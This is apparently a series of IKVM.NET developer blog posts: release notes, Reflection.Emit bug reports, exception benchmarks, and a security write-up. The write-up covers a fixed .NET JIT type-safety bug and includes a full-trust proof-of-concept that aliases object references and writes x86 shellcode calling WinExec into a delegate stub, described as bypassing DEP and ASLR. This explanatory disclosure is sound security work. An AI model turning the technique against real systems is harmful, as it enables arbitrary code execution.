Pardon me if I sound a little bitter today, but I just wasted almost a full day trying to work around this bug only to be stopped by yet another bug that makes it impossible to generate two mutually dependent assemblies with Reflection.Emit.

Also, while debugging I noticed another mind bogglingly stupid bug in the System.Reflection.Assembly source:

public override int GetHashCode() { return base.GetHashCode(); }

Why would you want to do that? Oh, of course! It's to get rid of a compiler warning... If you override Equals() you should also override GetHashCode(), BUT NOT LIKE THIS.

Here's small program that demonstrates the problem:

using System;
using System.Reflection;
using System.Reflection.Emit;

classProgram
{
  static void Main()
  {
    AssemblyBuilder ab1 = AppDomain.CurrentDomain.DefineDynamicAssembly(newAssemblyName("A"),
                            AssemblyBuilderAccess.Run);
    ModuleBuilder mod1 = ab1.DefineDynamicModule("A.dll");
    TypeBuilder tb1 = mod1.DefineType("T");
    Type type = tb1.CreateType();
    Console.WriteLine(ab1.Equals(type.Assembly));
    Console.WriteLine(ab1.GetHashCode() == type.Assembly.GetHashCode());
  }
}

This prints out:

True
False

That clearly violates the Object.GetHashCode() contract.

As with previous release candidates, this release includes strong named binaries and is considered to be (nearly) ready for production use. Please test this version and give feedback as soon as possible.

Changes since previous snapshot:

• Changed version to 0.38.0.0 and strong named binaries.
• Added missing HTMLEntities.res resource.
• Re-introduced workaround for .NET JIT bug that causes .cctor not to run when a DynamicMethod invokes a method or gets/sets a field.

Binaries available here: ikvmbin-0.38.0.0.zip

Sources: ikvm-0.38.0.0.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip

JaC64 is a open source Commodore 64 emulator written in Java. I have many fond childhood memories of my C64, so I spent a little time fixing a couple of AWT issues and hacking together some sound support for ikvm. The sound patch is here, but it won't go in because it is essentially hard coded for JaC64 and even then it doesn't really work, because it turns out that .NET has no decent sound API. The only API available is SoundPlayer, but it has an unacceptable latency (and can only play one sample at a time, so you can't hide the latency). JaC64 generates samples that are 0.25 seconds long and then plays these back to back. This means that you hear sound, but it is very choppy.

Two obligatory screen shots, first the emulator application and second just the C64 screen of my favorite game:

This is the final development snapshot before the first 0.38 release candidate.

Changes since previous development snapshot:

• Updated to OpenJDK 6 b12.
• Updated IKVM.OpenJDK.ClassLibrary.dll copyright notices.
• Removed hardcoded PublicKey from build process.
• Fixed ikvmc regression that caused using .NET generic types not to work.
• Added support to ikvmc for recognizing "access" bridge methods, so that they aren't hidden from other .NET code.
• Removed warnings from IKVM.OpenJDK.ClassLibrary ikvmc build step.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and later. The binaries will run on Mono 2.0, but building on Mono 2.0 is not supported due an open bug.

Binaries available here: ikvmbin-0.37.3187.zip

The OpenJDK 6 b12 (re)source file needed to build from source are available here: openjdk6-b12-stripped.zip

Let's start out with some convenient types that allow bit twiddeling once we've subverted the type system:

class Union1
{
  internalvolatileint i;
  internalvolatileint j;
}

classUnion2
{
  internal volatile object o;
  internal volatile int[] arr;
}

Now we need a way to get two different references to the same object. This is where the exploit comes in, but since I'm not going to publish an exploit for an unpatched bug, we'll make do with something that works but requires full trust:

[StructLayout(LayoutKind.Explicit)]
structUnsafeUnion
{
  [FieldOffset(0)]
  internalUnion1 u1;
  [FieldOffset(0)]
  internalUnion2 u2;
}

staticUnion1 TypeSystemHole(Union2 u2)
{
  // NOT ACTUALLY A SECURITY HOLE!
  // You need full trust to execute this code.
  UnsafeUnion uu = newUnsafeUnion();
  uu.u2 = u2;
  return uu.u1;
}

Now for the interesting bit, getting some x86 code to execute:

Union1 u1;
Union2 u2 = newUnion2();
u1 = TypeSystemHole(u2);

// u1 and u2 now reference the same object,
// meaning that we can now convert arbitrary integer
// into objects or arrays (and v.v.)

ThreadStart del = new ThreadStart(DummyMethod);

// A delegate provides an easy way to call the code we're
// generating. As it turns out, it is also a good way
// to bypass DEP, because the delegate stub is in writable
// executable memory.

u2.o = del;
u1.j = u1.i;
u1.j = u2.arr[2] - 12;

// Make the delegate object accessible via the object[],
// then get the address the delegate points to and make
// it accessible via the object[] reference.

// The x86 code we're creating is:
//
// 6A 05            push 5
// 68 xx xx xx xx   push offset string "calc.exe"
// B8 xx xx xx xx   mov eax,<address of kernel32!WinExec>
// FF D0            call eax
// C3               ret
//

MemoryStream mem = new MemoryStream();
BinaryWriter bw = new BinaryWriter(mem);
bw.Write((byte)0x6A);
bw.Write((byte)0x05);
bw.Write((byte)0x68);
u2.o = Encoding.ASCII.GetBytes("calc.exe\0");
bw.Write(u1.i + 8);
bw.Write((byte)0xB8);
bw.Write(GetProcAddressAny("WinExec"));
bw.Write((byte)0xFF);
bw.Write((byte)0xD0);
bw.Write((byte)0xC3);
bw.Write(0);

// Now that we've created the code, copy it into the delegate
// stub memory area.

byte[] tmp = mem.ToArray();
for (int i = 0; i < tmp.Length / 4; i++)
{
  u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
}

// Invoke the delegate, which will result in running our
// code, instead of the delegate stub.

del();

The missing piece is GetProcAddressAny. It basically searches memory for kernel32 and looks up the address of the WinExec function.

The full source is available here: TypeSafetyExploitPoC.cs

Note that this PoC requires full trust and obviously only works on x86, but all the ideas are applicable to x64 as well.

While browsing the Rotor sources yesterday, I noticed something that looked like a potential security issue. After writing some test code I confirmed that it was indeed a problem. Like last time, it's a bug that allows you to compromise type safety.

Previously I promised to write more about the issue after the fix was released, but I never got around to it, partly because security issues aren't very exciting anymore after they've been fixed.

BTW, my "no Microsoft bug filing policy" doesn't apply to security issues, so I've notified the Microsoft Security Response Center of the issue.

Anyway, I thought this would be a good opportunity to look at the previously fixed issue and demonstrate how a type safety hole leads to arbitrary code execution and makes it trivial to bypass both DEP and ASLR.

Discovering the Bug

This is the hard part. Contrary to popular belief, Microsoft writes pretty secure code nowadays. I found the issue because an IKVM user reported a problem with some code that worked with JIT optimizations disabled, but mysteriously failed when JIT optimizations were on. Debugging this issue led to misbehaving code similar to this:

    if (arr1[index * 3 + 5] != null)
    {
      Union1 u1 = arr1[index * 3 + 5];

Due to a JIT bug the second array indexing expression was incorrectly applied, resulting in the ability to read a value outside of the array bounds.

Type Safety

Due to the predictability of memory allocation in managed code, it is easy to allocate two arrays of different types and then use the above bug to access an element from one array through a reference to the other array. This gives you the ability to perform a cast that otherwise wouldn't be allowed.

Once you have this ability, it can be easily abused. For example, you could create a class like this:

class StringHack
{
    public int arrayLength;
    public int stringLength;
    public char ch1;
    public char ch2;
}

If you now obtain a reference typed as StringHack to a real string object, you have the ability to alter the contents of the string (well, the first two characters in this example).

However, it's not just the .NET access restrictions that can be bypassed, you can also use this trick to execute arbitrary machine code.

Next time we'll look at a PoC that, given a type safety hole, will allow you to call WinExec to start any application from partially trusted .NET code.

Lots of cleanup and restructuring. Removed most .NET reflection (almost everything is now based on DynamicMethod) and improved support for running in partial trust.

Changes since previous development snapshot:

• Switched almost all code to using generic collections.
• Removed our own tracking of LocalBuilders, because on .NET 2.0 LocalBuilder has a LocalIndex property.
• Added multi target support to ikvmc (although it is currently disabled, because of a showstopper .NET Ref.Emit bug).
• Replaced usage of BootstrapClassLoader with actual class loader in static compiler.
• Moved generated exception mapping code from ExceptionHelper to Throwable and made it slightly less hacky.
• Replaced mapxml Hashtable with three statically typed Dictionaries.
• Eleminated some (CompilerClassLoader) downcasts by making the type of the DynamicTypeWrapper.classLoader field depend on whether we're compiling the runtime or ikvmc.
• Removed unused per-type class caching.
• Added helper methods to no longer require reflection to instantiate DirectByteBuffer from JNI.
• Bug fix: dynamic (for unloadable classes) getfield/getstatic/invoke* bytecode compilation couldn't handle ghost types.
• Changed dynamic (for unloadable classes) bytecode handling to use Java reflection.
• Changed JNI reflection to be based on Java reflection (where possible).
• Removed "slow" reflection.
• Removed MethodWrapper.Invoke().
• Removed FieldWrapper.GetValue()/SetValue().
• Added ICustomInvoke for the few MethodWrappers that still require custom reflection invocation.
• Removed class init workaround that is no longer required since .NET 2.0 SP1.
• Removed GNU Classpath specific code that I missed.
• Switched from obsolete ConfigurationSettings.AppSettings to new ConfigurationManager.AppSettings.
• Fixed VFS root directory entry.
• Removed no longer needed VM.isBooted() check (VM.isBooted() always returns true now on IKVM).
• Forked java/nio/Bits.java to remove unsafe code from static initializer.
• Moved all creations of DynamicMethod to util method that uniformly handles the fallback to the new .NET 2.0 SP1 constructor that support partial trust.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and Mono 2.0.

Binaries available here: ikvmbin-0.37.3166.zip

I finished the Cecil.Reflection.Emit prototype of ikvmc. As I, unfortunately, expected the performance isn't acceptable. Compiling tools.jar takes approx. 18 seconds with the Ref.Emit backend, but takes 51 seconds with the Cecil based backend.

Now, I'm not knocking Mono.Cecil because of its performance, because I think the design was based on making it easy to load an assembly, tweak it and write it back out again. For that application the design makes a lot of sense, but it is less efficient for a write only task.

However, I did have to conclude that Mono.Cecil is not mature enough for usage with ikvmc. I had to write my own custom attribute encoder to work around Mono.Cecil's brokenness and I found that it doesn't properly support custom modifiers.

What Next

Given that neither Ref.Emit nor Cecil look like viable short term strategies for multi target support in ikvmc, I think it makes sense to start working on the 0.38 release now and put off the splitting of IKVM.OpenJDK.ClassLibrary.dll until the next release. I know this will disappoint some people, especially since it grew by about 4.7MB again (mostly due to the inclusion of the charsets.jar character encodings).

I don't have a timetable, but don't expect the release tomorrow. It'll be a while. First OpenJDK6 b12 needs to be released (and integrated) and then a whole lot of testing needs to be done.

I prototyped a Reflection.Emit layer for Mono.Cecil and integrated it with ikvmc. Preliminary results:

• It looks like it is feasible to replace "using System.Reflection.Emit;" with "using Cecil.Reflection.Emit;" and only require a handful of "#if CECIL"s sprinkled through the code.
• Mono.Cecil is lacking some functionality required by ikvmc (global methods, multi module assemblies, support for calli signatures [AFAICT], support for byte[] arguments in custom attributes)
• Given the architecture of Mono.Cecil I'm worried that it will perform worse than Reflection.Emit (which, on .NET, is already pretty slow).

I'm pretty sure there are more issues waiting to be discovered, but these I found while trying to compile a relatively simple .class file. I got it to generate a verifiable assembly using the following ikvmc command:

        ikvmc test.class -target:library -nostacktraceinfo

If you want to play along, the Cecil.Reflection.Emit layer plus the ikvmc patch (relative to current cvs) can be found here.

At this point I'm not sure what's next. I don't feel working on Mono.Cecil is the best use of my time. I may have to put the multi assembly feature of ikvmc on the back burner (which also means no progress in splitting up IKVM.OpenJDK.ClassLibrary.dll).

On a more possitive note, doing this work made me realize that ConstructorBuilder is a useless annoyance and I can simplify some ikvm code by only using MethodBuilder (it turns out that DefineMethod can also be used to define a constructor).

Well, I will be able to do this once Mono's DefineMethod is fixed so that it notices that a constructor is created and not insert another default constructor.

Update: Zoltan already fixed the Mono bug. Thanks!

Update 2: Jb Evain pointed out that global methods are supported (simply add the methods to the <Module> type) and that calli is supported via Mono.Cecil.CallSite.

I started working on support for compiling multiple assemblies at once with ikvmc (to support mutual depedencies) and ran into a rather annoying bug:

using System;
using System.Reflection;
using System.Reflection.Emit;

classProgram
{
  static void Main()
  {
    AssemblyBuilder ab1 = AppDomain.CurrentDomain.DefineDynamicAssembly(newAssemblyName("A1"), AssemblyBuilderAccess.Save);
    AssemblyBuilder ab2 = AppDomain.CurrentDomain.DefineDynamicAssembly(newAssemblyName("A2"), AssemblyBuilderAccess.Save);
    ModuleBuilder mod1 = ab1.DefineDynamicModule("A1");
    ModuleBuilder mod2 = ab2.DefineDynamicModule("A2");

    TypeBuilder tb1 = mod1.DefineType("T1");
    TypeBuilder tb2 = mod2.DefineType("T2");

    ConstructorBuilder cb1 = tb1.DefineConstructor(MethodAttributes.Public, CallingConventions.Standard, null);
    ConstructorBuilder cb2 = tb2.DefineConstructor(MethodAttributes.Public, CallingConventions.Standard, new Type[] { tb1 });

    ILGenerator ilgen = cb1.GetILGenerator();

    ilgen.Emit(OpCodes.Ldnull);
    ilgen.Emit(OpCodes.Newobj, cb2);
  }
}

Running this on .NET 2.0 SP1 results in:

Unhandled Exception: System.Runtime.InteropServices.COMException (0x80131130): Record not found on lookup. (Exception from HRESULT: 0x80131130)
   at System.Reflection.Module._InternalGetMemberRef(Module refedModule, Int32 tr, Int32 defToken)
   at System.Reflection.Emit.ModuleBuilder.InternalGetConstructorToken(ConstructorInfo con, Boolean usingRef)
   at System.Reflection.Emit.ILGenerator.GetMethodToken(MethodBase method, Type[] optionalParameterTypes)
   at System.Reflection.Emit.ILGenerator.Emit(OpCode opcode, ConstructorInfo con)
   at Program.Main() in c:\vsp\RefEmitBugRepro\Program.cs:line 23

The "no Microsoft bug filing" policy is still in effect, so I won't be filing a bug with Microsoft for this.

Workaround

For the scenario above there is a (painful) workaround. You can create your own ConstructorInfo subclass that represents the constructor you want to call, if you do that ILGenerator.Emit() will end up in a different code path to lookup the token and that code path does work.

I haven't tried it, but I assume this workaround also works for methods and fields.

I think that for ikvmc I won't be using this workaround, but instead I'll treat this as a good reason to finally start looking into using Mono.Cecil instead of Reflection.Emit.

Time for another snapshot.

Changes since previous development snapshot:

• Removed support for building with GNU Classpath class library.
• DatagramSocket: Implemented connected datagram sockets using .NET 2.0 API.
• DatagramSocket: Used .NET 2.0 Socket.IOControl() API to disable WSAECONNRESET errors (when not connected).
• DatagramSocket: Throw PortUnreachableException from receive() if we receive WSAECONNRESET while connected.
• Various java.util.zip compatibility and bug fixes.
• Fixed bytecode compiler not to generate unneeded GC.KeepAlive() in constructor for Exception types that don't have a finalize() method.
• Fixed #2001802 contributed by Andy Malakov.
• Fixed #2001799.
• Fixed #2006953.
• Fixed file I/O error handling incompatibilities.
• Added ghost array tagging to be able to report the instantiated class (instead of the object[] which is allocated instead).
• Fixed ldc <class> where <class> is a ghost array.
• Fixed bug in instanceof <class> where <class> is a Serializable[].
• Removed Mono workarounds that are no longer needed with Mono 2.0.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and Mono 2.0.

Binaries available here: ikvmbin-0.37.3141.zip

I'll be at the PDC again this year. Drop me a line if you're going and want to meet me there to chat (or to buy me a beer ;-)).

Last time we saw that CLR exception handling is significantly slower than HotSpot exception handling. This time we'll look at two very variations of the ExceptionPerf1 microbenchmark that significantly affect performance.

I've highlighted the changes.

Variation 1

public class ExceptionPerf2 {
  public static void main(String[] args) {
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      try {
        Integer.parseInt("");
      }
      catch (NumberFormatException x) {
      }
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Variation 2

public class ExceptionPerf3 {
  staticNumberFormatException exc;
  public static void main(String[] args) {
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      try {
        Integer.parseInt(null);
      }
      catch (NumberFormatException x) {
        exc = x;
      }
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Results:

.NET/Mono results with IKVM 0.36

Why do these small changes have such a big perf impact?

Both these changes result in additional stack trace data being collected. IKVM has some optimizations that prevent gathering stack traces in very specific circumstances. Normally when you create a Java exception object, the Throwable constructor will call Throwable.fillInStackTrace(). However, since this is a very expensive operation, IKVM tries to remove this call when it is unnecessary (i.e. when it sees that you immediately throw the exception and the exception type doesn't override Throwable.fillInStackTrace()). Additionally, in Java an exception object will always have the complete stack trace, but a .NET exception only has the stack frames from the throw to the catch site. This means that at the catch site IKVM will collect the rest of the stack trace, unless the exception object isn't used (as in the ExceptionPerf1 microbenchmark).

The time it takes to collect a stack traces obviously depends on the call stack depth, so let's look at a microbenchmark to measure that effect:

class ExceptionPerf4 {
  public static void main(String[] args) {
    nest(Integer.parseInt(args[0]));
  }

  static void nest(int depth) {
    if (depth > 0) {
      nest(depth - 1);
    } else {
      run();
    }
  }

  static void run() {
    Exception x = new Exception();
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      x.fillInStackTrace();
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Results:

For the curious, the IKVM implementation of Throwable.fillInStackTrace() is essentially new System.Diagnostics.StackTrace(true);

Next time we'll wrap things up.

One area where IKVM performance is much worse than HotSpot is in throwing and catching exceptions. This blog is the first of three that will look into why this is the case.

We start out with two microbenchmarks to highlight the differences.

Java

public class ExceptionPerf1 {
  public static void main(String[] args) {
    long start = System.currentTimeMillis();
    for (int i = 0; i < 100000; i++) {
      try {
        Integer.parseInt(null);
      }
      catch (NumberFormatException x) {
      }
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

C#

using System;

classExceptionPerf1 {
  public static void Main(string[] args) {
    int start = Environment.TickCount;
    for (int i = 0; i < 100000; i++) {
      try {
        throw newException();
      }
      catch (Exception) {
      }
    }
    int end = Environment.TickCount;
    Console.WriteLine(end - start);
  }
}

Results:

*.NET/Mono results with IKVM 0.36

This shows that the situation on the CLR is pretty bad. If you care about exception throwing performance, please complain to Microsoft instead of to me. Although I expect that they'll tell you not to throw so many exceptions. ;-)

On the next episode we'll see that the above microbenchmark is actually a best case scenario for IKVM and we'll see how things can get much worse...

Andy Malakov wrote an Ant task for ikvmc. It also contains a doclet that can generate an xml mapping file that contains all the parameter names that ikvmc can then attach to the .NET methods (ikvmc already does this for methods with debugging information, but that doesn't work for abstract methods).

Good stuff!